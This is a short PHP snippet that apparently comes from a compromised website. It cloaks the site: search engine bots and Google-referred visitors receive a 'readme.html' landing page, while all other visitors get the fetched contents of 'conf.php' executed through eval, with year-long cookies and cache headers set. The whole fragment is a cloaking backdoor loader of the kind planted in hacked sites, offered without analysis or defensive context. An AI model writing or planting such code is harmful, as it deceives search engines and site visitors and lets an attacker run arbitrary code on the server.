$cookie_expiration = time() + (365 * 86400); //1 years
if (!isset($_COOKIE['visited'])) {
    setcookie('visited', '1', $cookie_expiration, "/");
}

$cache_duration = 365 * 86400; //1 years
header("Cache-Control: max-age=$cache_duration, public, must-revalidate");
header("Pragma: cache");

$landing_page = 'readme.html';
$index_home = 'conf.php';

if (isSearchEngineBot()) {
    echo NuLzFetch($landing_page);
} else {
    if (isFromGoogle()) {
        echo NuLzFetch($landing_page);
    } else {
        eval ('?>'.NuLzFetch($index_home));
    }
}